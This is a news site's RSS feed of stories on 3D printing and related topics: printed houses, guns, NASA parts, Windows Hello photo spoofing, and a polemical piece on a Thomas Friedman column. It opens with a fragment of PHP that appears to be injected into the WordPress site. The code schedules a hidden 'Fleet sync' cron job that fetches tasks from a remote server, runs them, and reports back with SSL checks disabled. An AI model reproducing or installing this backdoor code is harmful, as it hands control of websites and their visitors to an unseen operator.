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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); printed – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 20 Dec 2018 05:34:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png printed – Brief News https://briefnews.eu 32 32 Could Your Next Holiday Home Be 3D Printed? https://briefnews.eu/could-your-next-holiday-home-be-3d-printed/ https://briefnews.eu/could-your-next-holiday-home-be-3d-printed/#respond Thu, 20 Dec 2018 05:34:59 +0000 http://briefnews.eu/could-your-next-holiday-home-be-3d-printed/ From a distance, the concrete house in Milan resembles many other modern European designs — the exterior is bright white, and green plants sprout from the rooftop. Upon closer inspection, though, you’ll notice the perfectly straight lines etched in the building material throughout: The entire house was 3D printed. And while this particular model is a prototype, it’s one example of a revolution playing out worldwide, from the Netherlands to Nantes, France; El Salvador to Estonia; and Moscow to — if NASA has its way — even Mars.

While Washington debates a ban on 3D-printed guns, others are using the technology to help rebuild lives. Faced with a crippling housing crisis globally, an emerging set of companies and nonprofits is developing 3D-printing technology that can produce ready-to-use construction materials to build houses faster and often at lower costs than by conventional methods.

The Dutch city of Eindhoven, for example, is preparing to build and rent its first 3D-printed houses in 2019. In July, a family in Nantes became the first in the world to move into a 3D-printed house. In February 2017, American startup Apis Cor built a 3D-printed house on the outskirts of Moscow in just 24 hours; the company has since received at least $ 6 million in private equity funding. And the Estonian University of Life Sciences and the University of Tartu are developing a new 3D-printed concrete that can help build energy-efficient homes.

In the United States, companies like Markforged and Desktop Metal are manufacturing metal 3D printers that produce construction materials, auto parts and electronics. Tech company Icon has partnered with nonprofit New Story to build 600- to 800-square-foot homes in some of the poorest parts of the world, like El Salvador and Haiti, using a specially designed 3D printer. NASA is going one step further, seeking designs to build 3D houses on Mars.

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Globally, there are about 65 startups working on 3D-printed housing, according to the Boston Consulting Group, three times the number in 2013. The firm estimates that by the start of this year, there were already nearly 40 fully realized prototypes of 3D-printed houses. Governments are also turning to the technology. The United Arab Emirates aims for 25 percent of new buildings to be 3D printed by 2030. And the U.S. Department of Defense is exploring the possibility of printing military barracks for its personnel stationed across the world.

We want any housing organization … to take this technology and do their work more efficiently.

Alexandria Lafci, co-founder, New Story

Not everyone is convinced that 3D printing is the solution the world needs to address its housing crisis. But the scale of the challenge and society’s failure to address it thus far add to the allure of the prospect of quickly built houses. The U.S. housing market alone is short by 7.3 million residential units. By the end of 2017, the world had 40 million internally displaced people — 13 million of them in Africa — forced to flee their homes because of war, famine or both. Meanwhile, the sale of metal 3D printers rose by 80 percent globally, from 983 in 2016 to 1,768 in 2017, according to an annual report by 3D-printing experts Wohlers Associates. The technology can build a house in a day for $ 4,000. To the companies making these machines, and the groups using them, this technology is integral to the future of housing.

“We want to make sure there’s innovation in the nonprofit world [too],” says Alexandria Lafci, co-founder of New Story. “We want any housing organization, particularly governmental housing, to take this technology and do their work more efficiently.”

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That efficiency can change industries, and in particular, assist the construction sector and automobile and electronic manufacturers, says Jonah Myerberg, chief technology officer of Desktop Metal. One of the company’s printers, the Production System, combines powder spreaders and a print unit to build metal parts in several minutes instead of hours. It moves 100 times faster than current laser-based metal methods and costs up to 20 times less. Myerberg says the automotive industry will be significantly influenced by metal 3D printing over the next few years, specifically with the dissemination of electric cars.

Markforged has engineered eight printers since 2013 that use aluminum, stainless steel and titanium, and the company was the first to 3D-print using carbon fiber. Its atomic diffusion additive manufacturing technology allows manufacturers to print replacements for cast parts on demand. Like Myerberg, Greg Mark, CEO and co-founder of Markforged, agrees this is a game-changer for auto parts manufacturing. When lightweight parts are created faster, the entire car is more efficient. “Tesla, for example, is trying to make new industrial-strength parts and 3D printing can make those parts faster,” says Mark.

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But it’s in construction that additive manufacturing — as 3D printing is also called — is already transforming entire communities. Between 2014 and 2017, New Story built more than 1,300 homes in rural Haiti, El Salvador, Bolivia and Mexico. But last year the nonprofit realized that even its fastest methods of construction couldn’t keep up with demand. That’s when it partnered with Icon to design a 3D printer. The result of the collaboration is the Vulcan, a machine that prints quick-drying concrete to create homes with two bedrooms, a kitchen and a bathroom. Lafci is confident that 3D printing will play an important role in the future of construction, but she’s also aware of the challenges in getting people to adapt to the technology, especially in the U.S. “Cultural adaptation is one of the biggest hurdles,” she says.

And Lafci is right. Minka is a company that designs and constructs small houses for the elderly as an alternative to nursing homes. Kavan Peterson, Minka’s chief operating officer, thinks 3D-printed houses have significant potential but worries about scalability. “There is a lot of hype,” Peterson says. “Each 3D printer can only ever build one home at time, so it’s a question of how quickly they can build and deploy the 3D printers,” he says. The Building and Construction Trades Council of Greater New York is also cautious about the role of 3D printing in construction and manufacturing. “New technologies come and go, but there will always be a need for the well-trained and highly skilled unionized construction workers in New York City,” says Gary LaBarbera, president of the union, which represents more than 100,000 workers.

But Desktop Metal’s Myerberg doesn’t view 3D printing as a replacement for manual labor. “We’re not trying to, nor do we think this will, offset traditional manufacturing,” he says; instead it will be “complementary.” And revolutionary.

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  • Simon & Schuster, the publishing company behind Bob Woodard’s upcoming book, is reportedly printing one million copies of the White House tell-all to keep up with the “extraordinary demand.”
  • The book has catapulted to the top spot on Amazon and Barnes & Noble’s online best seller list.
  • It is currently ranked fifth in Amazon’s 2018 best sellers list.

Simon & Schuster, the publishing company behind journalist Bob Woodard’s upcoming book, “Fear: Trump in the White House,” is printing one million copies of the White House tell-all to keep up with demand, according to a CNN Money report.

“We have reprinted six times for a total of seven to meet extraordinary demand — that will put one million books in print before we’ve even gone on sale,” a Simon & Schuster spokesperson said to CNN “Reliable Sources” host Brian Stelter.

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]]> https://briefnews.eu/1-million-copies-of-bob-woodwards-fear-printed-to-meet-extraordinary-demand-after-topping-best-seller-lists/feed/ 0 3-D printed guns allow the public access to real, working weapons that are virtually untraceable — here’s how they work https://briefnews.eu/3-d-printed-guns-allow-the-public-access-to-real-working-weapons-that-are-virtually-untraceable-heres-how-they-work/ https://briefnews.eu/3-d-printed-guns-allow-the-public-access-to-real-working-weapons-that-are-virtually-untraceable-heres-how-they-work/#respond Tue, 31 Jul 2018 19:01:31 +0000 http://briefnews.eu/3-d-printed-guns-allow-the-public-access-to-real-working-weapons-that-are-virtually-untraceable-heres-how-they-work/ 3d printed gunOli Scarff/Getty Images

  • Eight states announced on Monday that they were suing the Trump administration over giving the public access to blueprints for 3-D printed guns. 
  • The guns do not have serial numbers, people printing them would not have to undergo background checks, and the weapons would virtually be untraceable. 

Concern over the rise of 3-D-printed guns has hit a climax as eight states announced on Monday that they were suing the Trump administration for allowing the public to download blueprints for such products.

The move would allow the public access to working guns that can fire real bullets, potentially including AR-15 semi-automatic assault rifles.

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]]> https://briefnews.eu/the-last-ditch-legal-fight-to-stop-3-d-printed-guns/feed/ 0 Designed for a community of tech elites, these tiny homes are 3D printed, run by Tesla batteries, and cost $250,000 https://briefnews.eu/designed-for-a-community-of-tech-elites-these-tiny-homes-are-3d-printed-run-by-tesla-batteries-and-cost-250000/ https://briefnews.eu/designed-for-a-community-of-tech-elites-these-tiny-homes-are-3d-printed-run-by-tesla-batteries-and-cost-250000/#respond Tue, 29 May 2018 06:39:15 +0000 http://briefnews.eu/designed-for-a-community-of-tech-elites-these-tiny-homes-are-3d-printed-run-by-tesla-batteries-and-cost-250000/ sleeping pods galini walden monterey silicon valley

  • A 609-acre California coastal community, Walden Monterey, serves as a respite for those needing to recharge their batteries — especially the region’s leaders in tech.
  • The enclave’s founder, Nick Jekogian, invites potential homeowners to visit the property and stay in portable homes, called “roving rooms,” to truly experience the sustainable, outdoor-centric lifestyle the community has to offer.
  • Now, a new unit, called the Galini Sleeping Pod, will be used to house prospective buyers as they consider making a more permanent purchase of the land.
  • According to the pod’s designer, it’s much more than simply a mobile home.

About eight hours south of Silicon Valley sits the Monterey Peninsula, where you’ll find a fledgling community that’s being designed as a respite for the region’s tech elite.

Walden Monterey was founded in 2016 by developer Nick Jekogian, who set out to turn the 609 acre-land into a coastal “agrihood” community, a growing trend amongst millennials in which they shun the idea of belonging to golf communities, like the previous generation, and instead embrace agricultural neighborhoods that focus on nature, farms, and outdoor living.

The property plans to build 22 homes in total, with the lots they sit costing about $ 5 million each (three lots have been sold, as of November 2017). After the sales are made, buyers can work with a team of more than 20 architects assembled by Jekogian (or they can hire an outsider) to then shell out additional millions in home construction.

A key step in the buying process involves prospective buyers actually visiting the land. Jekogian invites people to stay in “roving rooms,” or small moveable glass houses, which allow them to experience what living on the land would actually be like.

But now, Walden Monterey will soon provide a new way to try out the land. The design studio DFA, founded by Laith Sayigh, was approached by Walden Monterey to design a house for potential buyers to stay in while they mull over purchase decisions.

The 3D-printed self-sustaining houses, dubbed Galini Sleeping Pods, are 300 square feet in size, can be moved anywhere, are powered by solar panels, wind turbines, and Tesla batteries, and will cost about $ 250,000 each. Sayigh told Business Insider that they’re not just a future staple for the Walden Monterey community, but that they represent “the next generation of construction technology.”

Take a look:

Meet the Galini Sleeping Pod.

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It’s 300 square feet in size and takes around four to six weeks to construct.

The skin of the pod is developed by 3D-printing company Branch Technology, which is also currently developing construction methods for NASA’s Mars ventures. It’s a strong shell, consisting of carbon fiber, and sits atop a recycled aluminum base holding the pod off the ground. 

The pods are made off-site and can be lugged from lot to lot on the property so that potential buyers can experience what it would be like to live there.

Source: Business Insider

 

One of the pillars of the Walden Monterey project is sustainable design and living.

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The Galini is no different: It’s 97% material efficient, meaning that only 3% of the materials that go into each unit are wasted. Everything else, the wood paneling inside, the recycled plastic used in construction, the LED lighting, the plumbing and mechanical systems, are “green” and efficient. As a result, the pod has no impact on the local environment.

A compression system works to draw water in from the atmosphere to provide the pod’s occupants with a water supply. Solar panels and wind turbines power the unit, as does a lightweight battery sourced from Tesla, tech billionaire Elon Musk’s energy company. 

“[The pod] has a little belly under the floor,” said Sayigh. That’s where the Tesla battery rests.

Though ideally people would use fresh air to ventilate the pod by opening the doors, Sayigh said there is a system underneath the pod as well that can heat or cool the space if needed.

“If you’ve got Elon Musk coming to stay, you want to make sure the guy is comfortable,” Sayigh said.

Though the pod was born in conjunction with Walden Monterey, Sayigh said the vision for it extends past the Silicon Valley community.

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The unit’s mobility means it can be put on the back of a truck and transported anywhere: to an agrihood community on California’s Monterey coastline, or an obscure patch of land in the Nevada desert. It could potentially replace more environmentally unfriendly mobile homes as we know them.

“This is the sustainable airstream of our time,” Sayigh said.

 

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]]> https://briefnews.eu/designed-for-a-community-of-tech-elites-these-tiny-homes-are-3d-printed-run-by-tesla-batteries-and-cost-250000/feed/ 0 NASA’s Orion crew capsule will have over 100 3D printed parts https://briefnews.eu/nasas-orion-crew-capsule-will-have-over-100-3d-printed-parts/ https://briefnews.eu/nasas-orion-crew-capsule-will-have-over-100-3d-printed-parts/#respond Wed, 18 Apr 2018 15:58:06 +0000 http://briefnews.eu/nasas-orion-crew-capsule-will-have-over-100-3d-printed-parts/

It’s not just revolutionary start-ups like Rocket Lab that are using 3D printing to create their rockets and spaceships. NASA’s new crew capsule Orion will have over 100 3D printed parts specially developed by prime contractor Lockheed Martin, in cooperation with 3D printing experts Stratasys and the engineering firm PADT.

According to Stratasys, these parts will be made of entirely new materials that are specially designed to withstand the rigors of deep space. “In space, for instance, materials will build up a charge,” the Vice President of Manufacturing Solutions at Stratasys, Scott Sevcik, said to Reuters. “If that was to shock the electronics on a space craft there could be significant damage.”

This type of on-demand part printing provides a more economical method of building a complicated spaceship. And, according to Sevcik, it means that the designers can be a bit freer with the design, as they aren’t constrain by existing parts and specifications. The companies are hoping to apply what they learn from this 3D printing endeavor to other aerospace industries, such as building satellites and robotic spacecraft.

It’s not clear when Orion’s next test flight will be. The first, EFT-1, occurred at the end of 2014. The next test will be EM-1, the first flight of NASA’s massive SLS rocket, and it will be uncrewed. The capsule will spend roughly 3 weeks in space and will orbit the Moon to test its spaceworthiness. While this flight is currently being targeted for the end of 2019, delays mean that it wouldn’t be surprising if the flight slips into 2020.

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]]> https://briefnews.eu/nasas-orion-crew-capsule-will-have-over-100-3d-printed-parts/feed/ 0 ‘Is Putin a CIA agent?’ NYT’s ‘dumbest paragraphs ever printed’ ridiculed online https://briefnews.eu/is-putin-a-cia-agent-nyts-dumbest-paragraphs-ever-printed-ridiculed-online/ https://briefnews.eu/is-putin-a-cia-agent-nyts-dumbest-paragraphs-ever-printed-ridiculed-online/#respond Thu, 05 Apr 2018 16:08:27 +0000 http://briefnews.eu/is-putin-a-cia-agent-nyts-dumbest-paragraphs-ever-printed-ridiculed-online/

From the newspaper that brought you headlines like “Mother Russia crashes the Oscars,” and “What homoerotic videos can teach us about modern Russia,” comes another smash hit: “Is Putin a CIA agent?”

In the lauded journalist’s latest column, Thomas Friedman poses his ridiculous question, before unloading on the Russian leader in fourteen paragraphs of unfounded allegations, personal grievances, and impotent rage.

When he’s not trashing Putin for his “shirtless bravado” and apparent insecurity, Friedman rejoices in the expulsion of Russian diplomats from the West following the poisoning of Sergei and Julia Skripal. The fact that no evidence that Russia was involved in the poisoning was publically presented does not bother Friedman, nor does the fact that the nerve agent used may not have even originated in Russia.

Facts would only get in the way of his righteous outrage.

Likewise, Friedman describes Russia’s intervention in Syria as “another short-term sugar high for his base.” In reality, Russian intervention in Syria between 2015 and 2017 helped crush Islamic State (IS, formerly ISIS), to the point where the terrorist group holds only two percent of the territory it held in 2015. Russian firms are now moving into Syria to rebuild the nation’s energy grid.

Naturally, Friedman’s fellow journalists took to Twitter to savage his column. They described it as “breathtakingly stupid,” “insufferable,” and “perhaps the dumbest 8 to 10 paragraphs ever printed in the New York Times.”

Current Affairs magazine held Friedman’s column up high as an example to young writers, saying:  “once again, aspiring writers: if you’re worried that you won’t have a successful writing career because you don’t think your writing is good enough, there’s no better way of gaining confidence in your relative abilities than by reading thomas friedman’s columns.”

Putin is not Friedman’s only target. He regularly uses his column to blast President Donald Trump, American gun owners, and whoever else opposes his sanctimonious brand of New York Neoliberalism.

And while it must be noted that Friedman’s opinion column does not necessarily reflect the views of the Times as a whole, it’s right at home in a newspaper that devotes column inch after column inch to bashing Russia every day.

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]]> https://briefnews.eu/mits-new-colorfab-process-recolors-3-d-printed-objects/feed/ 0 The 5 most amazing things that were 3D printed in 2017 https://briefnews.eu/the-5-most-amazing-things-that-were-3d-printed-in-2017/ https://briefnews.eu/the-5-most-amazing-things-that-were-3d-printed-in-2017/#respond Sat, 30 Dec 2017 14:27:15 +0000 http://briefnews.eu/the-5-most-amazing-things-that-were-3d-printed-in-2017/ Additive manufacturing has been hyped for years. But in 2017 much of its promise materialized: 3-D printing took a series of big steps out of the realm of niche prototyping and into the world of mass manufacturing.

Here’s a look at some of the most impressive things 3-D printers made this year, as well as what their creations portend for the future.

Running shoes

Through a partnership with additive-manufacturing company Carbon (one of our 50 Smartest Companies of 2017), Adidas has imbued its “speed factories” with the ability to print shoes 90 times faster than before.

adidasAdidas Carbon’s fast printing technology is being used to manufacture elastomer midsoles for the company’s custom athletic shoes.

When the doors of the second speed factory open in Atlanta in 2018, Adidas will be poised to manufacture one million shoes a year using the technique.

Eyeglasses, a bevel gear, and a miniature replica of the MIT dome

Actually, these small plastic tchotchkes are not particularly impressive—but the speed at which they were created is. MIT researchers made them on a new machine that prints items so fast you’d swear a video of it in action has been sped up. Items that would once have taken hours to make are now down to minutes. The team published the details of its machine, which uses a heat-generating laser and a high–pressure screw mechanism, in the journal Additive Manufacturing in November.

Jet-engine combustion liner

In November GE unveiled its newest metal 3-D printer, as well as a part, called a jet engine combustion liner, printed on the beta version of the machine. Like most metal printers, it uses lasers to transform powder into a solid metal form, but this printer was made with the goal of overcoming size limitations that have dogged previous designs.

jet enginecombustionlinerjpgGEThe combustion liner showed off the size capabilities of the machine: it can print metal parts up to one meter in diameter. When it debuts in 2018, the printer figures to be a centerpiece of the company’s push for 3-D printing to fuel the future of its business. In December, GE also used 3-D-printed metal parts to help set an efficiency record for a natural-gas turbine.

Stronger steel

There’s long been a problem with 3-D-printed steel: you have to trade off strength for ductility. This year, though, a team from Lawrence Livermore National Laboratory has developed an approach that uses a regular laser-sintering printer to control the microscopic grain structure of the metal.

steel_0Lawrence Livermore National LaboratoryThis makes it possible to create components with similar ductility to regular stainless steel but twice the strength, and three times that of some previous 3-D-printed types.

Quickly made metal parts

In April, we reported on Desktop Metal’s revolutionary machines that figure to increase the rate at which metal parts can be printed by a factor of 100. The hydraulic manifold pictured above, which cannot be made through traditional methods, is being processed inside a microwave furnace, which uses temperatures up to 1,400 °C to finish off parts after printing. Printers meant for churning out parts in large-scale production runs are expected to ship in 2018.

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]]> https://briefnews.eu/the-5-most-amazing-things-that-were-3d-printed-in-2017/feed/ 0 Printed photos can fool Windows 10’s Hello face authentication https://briefnews.eu/printed-photos-can-fool-windows-10s-hello-face-authentication/ https://briefnews.eu/printed-photos-can-fool-windows-10s-hello-face-authentication/#respond Thu, 21 Dec 2017 15:22:09 +0000 http://briefnews.eu/printed-photos-can-fool-windows-10s-hello-face-authentication/

Windows 10’s facial authentication system might be able to tell the difference between you and your twin, but it could apparently be fooled with a photo of your face. According to researchers from German security firm SySS, systems running previous versions of the platform can be unlocked with a printed photo of your face taken with a near-infrared (IR) camera. The researchers conducted their experiments on various Windows 10 versions and computers, including a Dell Latitude and a Surface Pro 4.

The spoof isn’t exactly easy to pull off — someone who wants to access your system will have quite a bit of preparation ahead of them. In some cases, the researchers had to take additional measures to spoof the systems, such as placing tape over the camera. Not to mention, they needed high-quality printouts of users’ photos clearly showing a close-up, frontal view of their faces.

Still, the researchers said the technique can successfully unlock computers and even released three videos showing it in action, which you can watch below. Somebody determined enough to break into your system could do so (they could scour your Facebook account for high-res photos they can modify, for instance), and your best bet is downloading and installing the Windows 10 Fall Creators Update. Simply installing the update isn’t enough, though: your system will still be vulnerable. The researchers said you’ll have to set up Windows Hello’s facial authentication from scratch and enable the new enhanced anti-spoofing feature to make sure you’re fully protected.

It’s not just Microsoft’s technology that has vulnerabilities, though. Its fellow tech titans, Apple and Samsung, are also having trouble with their authentication systems. A German hacking group found that the S8’s iris scanner can be spoofed using a photo of the user with contact lens on top, while another group of security researchers said they found a way to fool iPhone X’s face scanning system with masks.

Via: ZDNet, The Verge

Source: SySS

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